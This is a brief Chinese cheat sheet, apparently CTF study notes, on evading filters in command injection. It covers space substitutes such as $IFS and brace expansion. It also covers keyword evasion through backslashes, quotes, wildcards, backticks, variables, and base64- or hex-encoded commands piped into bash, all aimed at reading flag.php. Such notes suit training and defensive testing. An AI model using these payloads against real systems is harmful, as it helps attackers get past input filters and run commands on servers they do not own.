过滤空格
1 2 3 4 5 6 7 8
| $IFS ${IFS}//IFS首选 $IFS$9 < <> {cat,flag.php}//用逗号实现了空格功能,需要用{}括起来 %20 %09 (tab功能)
|
过滤关键字
1 2 3 4 5 6 7 8 9 10 11
| ca\t fla\g.php 反斜杠绕过 cat fl''ag.php 两个单引号绕过 echo "c3lzdGVtKCJjYXQgZmxhZy5waHAiKQ==" | base64 -d | bash base64编码绕过 echo "c3lzdGVtKCJjYXQgZmxhZy5waHAiKQ==" | base64 -d | sh (如果过滤了bash,可以用sh) echo "73797374656d282263617420666c61672e7068702229" | xxd -r -p | bash hex编码绕过 cat fl[a]g.php 用[]匹配 cat fla* 用[]匹配任意 cat fla? cat fl{a..z}g 内联执行 cat `ls`(将反应内的输出作为输入命令来执行) 变量 a=fl;b=ag;cat $a$b.php
|
https://developer.aliyun.com/article/1224913
https://www.cnblogs.com/echoDetected/p/13909531.html